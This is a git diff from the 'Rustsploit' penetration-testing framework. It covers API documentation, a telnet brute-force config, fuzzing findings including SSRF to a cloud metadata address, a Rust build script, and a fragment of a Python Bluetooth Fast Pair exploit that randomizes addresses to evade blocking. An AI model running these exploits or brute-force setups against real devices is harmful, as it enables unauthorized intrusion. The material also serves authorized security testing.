Authorization: Bearer your-api-key-here
|
||||
|
||||
# Or ApiKey format
|
||||
Authorization: ApiKey your-api-key-here
|
||||
```
|
||||
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### telnet config example
|
||||
```
|
||||
{
|
||||
"port": 23,
|
||||
"username_wordlist": "usernames.txt",
|
||||
"password_wordlist": "passwords.txt",
|
||||
"threads": 10,
|
||||
"delay_ms": 50,
|
||||
"connection_timeout": 3,
|
||||
"read_timeout": 1,
|
||||
"stop_on_success": true,
|
||||
"verbose": false,
|
||||
"full_combo": true,
|
||||
"raw_bruteforce": false,
|
||||
"raw_charset": "",
|
||||
"raw_min_length": 0,
|
||||
"raw_max_length": 0,
|
||||
"output_file": "results.txt",
|
||||
"append_mode": false,
|
||||
"pre_validate": true,
|
||||
"retry_on_error": true,
|
||||
"max_retries": 2,
|
||||
"login_prompts": ["login:", "username:"],
|
||||
"password_prompts": ["password:"],
|
||||
"success_indicators": ["$", "#", "welcome"],
|
||||
"failure_indicators": ["incorrect", "failed"]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Input Validation & Security
|
||||
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
|
||||
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
|
||||
- **Target Validation:** All targets are validated for length, control characters, and path traversal
|
||||
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
|
||||
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
- Automatic cleanup of expired blocks and entries older than 1 hour
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
- Tracks unique IP addresses accessing the API
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
- Automatic pruning when tracker exceeds 100,000 entries
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
- **Terminal:** Real-time console output with colored status messages
|
||||
- **Log File:** `rustsploit_api.log` in the current working directory
|
||||
|
||||
Log entries include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limiting events
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
# 2. Check health
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List available modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Run a port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View tracked IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Proxy Workflow
|
||||
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
|
||||
|
||||
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
|
||||
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>;
|
||||
```
|
||||
|
||||
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
|
||||
|
||||
- File: `src/modules/exploits/sample_exploit.rs`
|
||||
- Shell path: `exploits/sample_exploit`
|
||||
|
||||
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! High-level suggestions:
|
||||
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
|
||||
|
||||
1. Fork + branch from `main`
|
||||
2. Add your module under the appropriate category
|
||||
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
|
||||
4. Document usage patterns in module comments
|
||||
5. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
|
||||
3. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
---
|
||||
|
||||
@@ -507,8 +108,6 @@ Bug reports, feature requests, and module ideas are appreciated. Feel free to lo
|
||||
|
||||
- **Project Lead:** s-b-repo
|
||||
- **Language:** 100% Rust
|
||||
- **Wordlists:** Seclists + custom additions (`lists/` directory)
|
||||
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
|
||||
|
||||
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
--- API Initial Fuzzing Bugs ---
|
||||
BUG: /api/exec executes raw shell commands instead of mapping them
|
||||
|
||||
--- PortSwigger API Security Findings ---
|
||||
BUG (Mass Assignment/Error Handling): Server crashed on extra unexpected JSON fields (Status: 500)
|
||||
BUG (Lack of Resources/Rate Limiting): Server allowed 50 requests in 0.13 seconds with no rate limiting applied
|
||||
BUG (SSRF): API allows scanning internal/cloud metadata IP (169.254.169.254)
|
||||
INFO (SSRF): API legitimately allows scanning localhost/127.0.0.1 by its design.
|
||||
@@ -1,31 +1,105 @@
|
||||
use std::collections::HashSet;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::env;
|
||||
use std::fs::File;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
use walkdir::WalkDir;
|
||||
|
||||
/// Build script that generates module dispatchers for exploits, scanners, and creds.
|
||||
/// Build script that generates module dispatchers for all categories found
|
||||
/// under `src/modules/`. Categories are discovered dynamically — adding a new
|
||||
/// subdirectory (e.g. `src/modules/payloads/`) is all that's needed.
|
||||
fn main() {
|
||||
// Tell Cargo to rerun this build script if module directories change
|
||||
println!("cargo:rerun-if-changed=src/modules/exploits");
|
||||
println!("cargo:rerun-if-changed=src/modules/creds");
|
||||
println!("cargo:rerun-if-changed=src/modules/scanners");
|
||||
let modules_root = Path::new("src/modules");
|
||||
if !modules_root.exists() {
|
||||
eprintln!("cargo:warning=src/modules/ directory not found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Generate dispatchers for each module category
|
||||
let categories = vec![
|
||||
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
|
||||
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
|
||||
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
|
||||
];
|
||||
// Discover categories dynamically from subdirectories of src/modules/
|
||||
let mut categories: Vec<String> = Vec::new();
|
||||
let entries = match fs::read_dir(modules_root) {
|
||||
Ok(e) => e,
|
||||
Err(e) => {
|
||||
eprintln!("cargo:warning=Failed to read src/modules/: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
for (root, out_file, mod_prefix, category_name) in categories {
|
||||
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
|
||||
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
|
||||
std::process::exit(1);
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
if path.is_dir() {
|
||||
if let Some(name) = path.file_name().and_then(|n| n.to_str()) {
|
||||
if !name.starts_with('.') {
|
||||
categories.push(name.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
categories.sort();
|
||||
|
||||
// Tell Cargo to rerun if any category directory changes
|
||||
for cat in &categories {
|
||||
println!("cargo:rerun-if-changed=src/modules/{}", cat);
|
||||
}
|
||||
|
||||
// Generate a dispatcher for each category
|
||||
let mut registry_entries: Vec<RegistryEntry> = Vec::new();
|
||||
|
||||
for cat in &categories {
|
||||
let root = format!("src/modules/{}", cat);
|
||||
let mod_prefix = format!("crate::modules::{}", cat);
|
||||
let out_file = format!("{}_dispatch.rs", dispatch_name(cat));
|
||||
let display_name = capitalize(cat);
|
||||
|
||||
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name) {
|
||||
Ok(_module_count) => {
|
||||
registry_entries.push(RegistryEntry {
|
||||
category: cat.clone(),
|
||||
dispatch_name: dispatch_name(cat),
|
||||
});
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("cargo:warning=Error generating {} dispatcher: {}", cat, e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Generate unified registry file
|
||||
if let Err(e) = generate_registry(®istry_entries) {
|
||||
eprintln!("cargo:warning=Error generating module registry: {}", e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
struct RegistryEntry {
|
||||
category: String,
|
||||
dispatch_name: String,
|
||||
}
|
||||
|
||||
/// Map category directory name to dispatch module name.
|
||||
/// "exploits" → "exploit", "scanners" → "scanner", otherwise identity.
|
||||
fn dispatch_name(category: &str) -> String {
|
||||
match category {
|
||||
"exploits" => "exploit".to_string(),
|
||||
"scanners" => "scanner".to_string(),
|
||||
other => other.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
fn capitalize(s: &str) -> String {
|
||||
let mut c = s.chars();
|
||||
match c.next() {
|
||||
None => String::new(),
|
||||
Some(f) => f.to_uppercase().collect::<String>() + c.as_str(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Capabilities detected for each module file.
|
||||
struct ModuleCapabilities {
|
||||
has_info: bool,
|
||||
has_check: bool,
|
||||
}
|
||||
|
||||
fn generate_dispatch(
|
||||
@@ -33,37 +107,56 @@ fn generate_dispatch(
|
||||
out_file: &str,
|
||||
mod_prefix: &str,
|
||||
category_name: &str,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
) -> Result<usize, Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
|
||||
|
||||
let root_path = Path::new(root);
|
||||
if !root_path.exists() {
|
||||
return Err(format!("Module directory '{}' does not exist", root).into());
|
||||
}
|
||||
|
||||
let mappings = find_modules(root_path)?;
|
||||
|
||||
|
||||
// Sort for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
|
||||
sorted_mappings.sort_by(|a, b| a.0.cmp(&b.0));
|
||||
|
||||
// Detect duplicate short names (different full paths with same filename)
|
||||
let mut short_names: HashMap<String, Vec<String>> = HashMap::new();
|
||||
for (key, _, _) in &sorted_mappings {
|
||||
let short = key.rsplit('/').next().unwrap_or(key).to_string();
|
||||
short_names.entry(short).or_default().push(key.clone());
|
||||
}
|
||||
for (short, full_paths) in &short_names {
|
||||
if full_paths.len() > 1 {
|
||||
println!(
|
||||
"cargo:warning=Duplicate short module name '{}' in {}: {:?}. \
|
||||
Only the first match will be reachable via short name.",
|
||||
short, root, full_paths
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut file = File::create(&dest_path)?;
|
||||
|
||||
writeln!(file, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
|
||||
|
||||
|
||||
// Generate AVAILABLE_MODULES constant for runtime discovery
|
||||
writeln!(file, "/// List of all available modules in this category.")?;
|
||||
writeln!(file, "pub const AVAILABLE_MODULES: &[&str] = &[")?;
|
||||
for (key, _) in &sorted_mappings {
|
||||
for (key, _, _) in &sorted_mappings {
|
||||
writeln!(file, " \"{}\",", key)?;
|
||||
}
|
||||
writeln!(file, "];\n")?;
|
||||
|
||||
// === Run dispatcher ===
|
||||
writeln!(file, "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
for (key, mod_path) in &sorted_mappings {
|
||||
let mut emitted_shorts: HashSet<String> = HashSet::new();
|
||||
|
||||
for (key, mod_path, _caps) in &sorted_mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
@@ -73,12 +166,18 @@ fn generate_dispatch(
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
} else if emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -87,16 +186,180 @@ fn generate_dispatch(
|
||||
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
|
||||
category_name
|
||||
)?;
|
||||
writeln!(file, " }}\n Ok(())\n}}")?;
|
||||
writeln!(file, " }}\n Ok(())\n}}\n")?;
|
||||
|
||||
// === Info dispatcher ===
|
||||
writeln!(file, "pub fn info_dispatch(module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut info_emitted_shorts: HashSet<String> = HashSet::new();
|
||||
let mut info_count = 0;
|
||||
|
||||
for (key, mod_path, caps) in &sorted_mappings {
|
||||
if !caps.has_info { continue; }
|
||||
info_count += 1;
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => Some({p}::{m}::info()),"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else if info_emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => Some({p}::{m}::info()),"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => Some({p}::{m}::info()),"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => None,")?;
|
||||
writeln!(file, " }}\n}}\n")?;
|
||||
|
||||
// === Check dispatcher ===
|
||||
// Use _target prefix if no check modules to avoid unused variable warning
|
||||
let check_has_any = sorted_mappings.iter().any(|(_, _, c)| c.has_check);
|
||||
let target_param = if check_has_any { "target" } else { "_target" };
|
||||
writeln!(file, "pub async fn check_dispatch(module_name: &str, {}: &str) -> Option<crate::module_info::CheckResult> {{", target_param)?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut check_emitted_shorts: HashSet<String> = HashSet::new();
|
||||
let mut check_count = 0;
|
||||
|
||||
for (key, mod_path, caps) in &sorted_mappings {
|
||||
if !caps.has_check { continue; }
|
||||
check_count += 1;
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => Some({p}::{m}::check(target).await),"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else if check_emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => Some({p}::{m}::check(target).await),"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => Some({p}::{m}::check(target).await),"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => None,")?;
|
||||
writeln!(file, " }}\n}}")?;
|
||||
|
||||
let count = sorted_mappings.len();
|
||||
if count == 0 {
|
||||
println!("cargo:warning=No modules found in '{}' — generated empty dispatcher", root);
|
||||
}
|
||||
|
||||
println!("cargo:warning=Generated {} with {} modules ({} info, {} check)", out_file, count, info_count, check_count);
|
||||
Ok(count)
|
||||
}
|
||||
|
||||
/// Generate a unified registry file that lists all categories and their modules.
|
||||
/// This is included by `src/commands/mod.rs` to avoid hard-coding categories.
|
||||
fn generate_registry(entries: &[RegistryEntry]) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR")?;
|
||||
let dest = Path::new(&out_dir).join("module_registry.rs");
|
||||
let mut f = File::create(&dest)?;
|
||||
|
||||
writeln!(f, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
|
||||
|
||||
// Category list
|
||||
writeln!(f, "/// All module categories discovered under src/modules/.")?;
|
||||
writeln!(f, "pub const CATEGORIES: &[&str] = &[")?;
|
||||
for e in entries {
|
||||
writeln!(f, " \"{}\",", e.category)?;
|
||||
}
|
||||
writeln!(f, "];\n")?;
|
||||
|
||||
// Unified discover function
|
||||
writeln!(f, "/// Aggregate all available modules across all categories.")?;
|
||||
writeln!(f, "pub fn all_modules() -> Vec<String> {{")?;
|
||||
writeln!(f, " let mut modules = Vec::new();")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" modules.extend(crate::commands::{}::AVAILABLE_MODULES.iter().map(|m| format!(\"{{}}/{{}}\", \"{}\", m)));",
|
||||
e.dispatch_name, e.category
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " modules")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified dispatch function
|
||||
writeln!(f, "/// Dispatch a module run by category and module name.")?;
|
||||
writeln!(f, "pub async fn dispatch_by_category(category: &str, module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::dispatch(module_name, target).await,",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => anyhow::bail!(\"Unknown module category '{{}}'\", category),")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified info dispatch
|
||||
writeln!(f, "/// Get module info by category and module name.")?;
|
||||
writeln!(f, "pub fn info_by_category(category: &str, module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::info_dispatch(module_name),",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => None,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified check dispatch
|
||||
writeln!(f, "/// Run vulnerability check by category and module name.")?;
|
||||
writeln!(f, "pub async fn check_by_category(category: &str, module_name: &str, target: &str) -> Option<crate::module_info::CheckResult> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::check_dispatch(module_name, target).await,",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => None,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}")?;
|
||||
|
||||
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Finds all valid modules recursively using WalkDir
|
||||
fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::error::Error>> {
|
||||
/// Finds all valid modules recursively using WalkDir.
|
||||
/// Returns (module_key, module_path, capabilities) tuples.
|
||||
fn find_modules(root: &Path) -> Result<HashSet<(String, String, ModuleCapabilities)>, Box<dyn std::error::Error>> {
|
||||
let mut mappings = HashSet::new();
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")?;
|
||||
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")?;
|
||||
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo")?;
|
||||
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult")?;
|
||||
|
||||
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
@@ -104,17 +367,18 @@ fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::e
|
||||
let file_stem = path.file_stem().and_then(|s| s.to_str()).unwrap_or("");
|
||||
if file_stem == "mod" || file_stem == "lib" { continue; }
|
||||
|
||||
// Calculate module path relative to root
|
||||
// e.g. path = src/modules/exploits/linux/foo.rs, root = src/modules/exploits
|
||||
// relative = linux/foo.rs
|
||||
if let Ok(relative) = path.strip_prefix(root) {
|
||||
let rel_str = relative.with_extension("").to_string_lossy().replace("\\", "/");
|
||||
|
||||
// Read content to check signature
|
||||
|
||||
let mut content = String::new();
|
||||
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
|
||||
if sig_re.is_match(&content) {
|
||||
mappings.insert((rel_str.clone(), rel_str));
|
||||
if run_re.is_match(&content) {
|
||||
let caps = ModuleCapabilities {
|
||||
|
||||
has_info: info_re.is_match(&content),
|
||||
has_check: check_re.is_match(&content),
|
||||
};
|
||||
mappings.insert((rel_str.clone(), rel_str, caps));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -122,3 +386,18 @@ fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::e
|
||||
}
|
||||
Ok(mappings)
|
||||
}
|
||||
|
||||
// Manual Hash/Eq implementations for ModuleCapabilities that only compare on the key
|
||||
impl std::hash::Hash for ModuleCapabilities {
|
||||
fn hash<H: std::hash::Hasher>(&self, _state: &mut H) {
|
||||
// Intentionally empty — hashing is done on the tuple's first element
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq for ModuleCapabilities {
|
||||
fn eq(&self, _other: &Self) -> bool {
|
||||
true // All capabilities are "equal" for set dedup purposes
|
||||
}
|
||||
}
|
||||
|
||||
impl Eq for ModuleCapabilities {}
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
# --- Constants ---
|
||||
|
||||
return fmt_mac(chunk)
|
||||
|
||||
return None
|
||||
|
||||
async def exploit_device(self, address, strategy_index=None, log_callback=None):
|
||||
def log(msg, type="info"):
|
||||
if log_callback: log_callback(msg, type)
|
||||
else: print(msg)
|
||||
|
||||
log(f"Starting Multi-Strategy Exploit on {address}...", "info")
|
||||
|
||||
try:
|
||||
async with BleakClient(address, timeout=20.0) as client:
|
||||
log(f"Connected. Auth: {client.is_connected}", "success")
|
||||
|
||||
# Service Discovery
|
||||
service = client.services.get_service(FAST_PAIR_UUID)
|
||||
if not service:
|
||||
for s in client.services:
|
||||
if "fe2c" in str(s.uuid).lower():
|
||||
service = s
|
||||
break
|
||||
if not service:
|
||||
log("Fast Pair Service not found.", "error")
|
||||
return False
|
||||
|
||||
# Model ID & Quirks
|
||||
quirks = {"delay_before_kbp": 0, "delay_before_account_key": 0.5, "prefers_br_edr": True}
|
||||
model_char = service.get_characteristic(MODEL_ID_UUID)
|
||||
if model_char:
|
||||
try:
|
||||
mid_bytes = await client.read_gatt_char(model_char)
|
||||
quirks = self._parse_model_id(mid_bytes)
|
||||
log(f"Model ID: {mid_bytes.hex().upper()} (Quirks applied)", "info")
|
||||
except:
|
||||
log("Could not read Model ID, using defaults.", "info")
|
||||
|
||||
# KBP Characteristic
|
||||
kbp_char = service.get_characteristic(KBP_CHAR_UUID)
|
||||
if not kbp_char:
|
||||
log("KBP Characteristic not found.", "error")
|
||||
return False
|
||||
|
||||
# Apply Quirk Delay
|
||||
if quirks["delay_before_kbp"] > 0:
|
||||
await asyncio.sleep(quirks["delay_before_kbp"])
|
||||
|
||||
# Response Handling
|
||||
response_event = asyncio.Event()
|
||||
parsed_address = None
|
||||
|
||||
def notification_handler(sender, data):
|
||||
nonlocal parsed_address
|
||||
# Use robust parser
|
||||
found = self._parse_kbp_response(data, current_secret)
|
||||
if found:
|
||||
parsed_address = found
|
||||
log(f"Response Parsed! Real Address: {parsed_address}", "success")
|
||||
else:
|
||||
log(f"Response received but could not parse MAC (len={len(data)})", "warning")
|
||||
|
||||
response_event.set()
|
||||
|
||||
await client.start_notify(kbp_char, notification_handler)
|
||||
|
||||
# Strategy Selection
|
||||
strategies_to_try = []
|
||||
if strategy_index is not None:
|
||||
try:
|
||||
strategies_to_try.append(EXPLOIT_STRATEGIES[int(strategy_index)])
|
||||
except (ValueError, IndexError):
|
||||
log(f"Invalid strategy index: {strategy_index}. Available: {list(enumerate(EXPLOIT_STRATEGIES))}", "error")
|
||||
return False
|
||||
else:
|
||||
strategies_to_try = EXPLOIT_STRATEGIES
|
||||
|
||||
# CRITICAL FIX: Use the actual target device address as the Provider Address
|
||||
# The device checks this to ensure the packet is meant for it.
|
||||
try:
|
||||
# Convert MAC string "AA:BB:..." to bytes
|
||||
provider_addr = bytes(int(x, 16) for x in address.split(":"))
|
||||
except ValueError:
|
||||
log("Invalid MAC address format. Using dummy provider address.", "warning")
|
||||
provider_addr = bytes([0xAA, 0xBB, 0xCC, 0x11, 0x22, 0x33])
|
||||
|
||||
# Randomize Seeker Address for every attempt to evade caching/blocking
|
||||
seeker_addr = secrets.token_bytes(6)
|
||||
log(f"Target (Provider) Address: {address}", "info")
|
||||
log(f"Strategies to try: {strategies_to_try}", "info")
|
||||
|
||||
success_strategy = None
|
||||
current_secret = None
|
||||
write_accepted_but_no_response = False
|
||||
|
||||
for strat in strategies_to_try:
|
||||
log(f"Trying Strategy: {strat}...", "info")
|
||||
packet, secret = self._build_kbp_packet(strat, provider_addr, seeker_addr)
|
||||
current_secret = secret # For notification handler
|
||||
@@ -6227,3 +6227,50 @@ Features: Automatic MD5 password hashing for RTSP config compatibility.
|
||||
Audited: Checked all tplink modules (vn020_dos, wr740n_dos, tapo_c200).
|
||||
Polished: Ensured all modules run with clear, consistent banners and user instructions.
|
||||
Secured: Enforced utils::normalize_target across all TP-Link modules to ensure robust IP/Hostname handling.
|
||||
|
||||
DOS Module Audit & Documentation Update
|
||||
Fix bugs, apply best practices, and update documentation for 3 DOS modules and 2 READMEs.
|
||||
|
||||
Proposed Changes
|
||||
connection_exhaustion_flood.rs
|
||||
[MODIFY]
|
||||
connection_exhaustion_flood.rs
|
||||
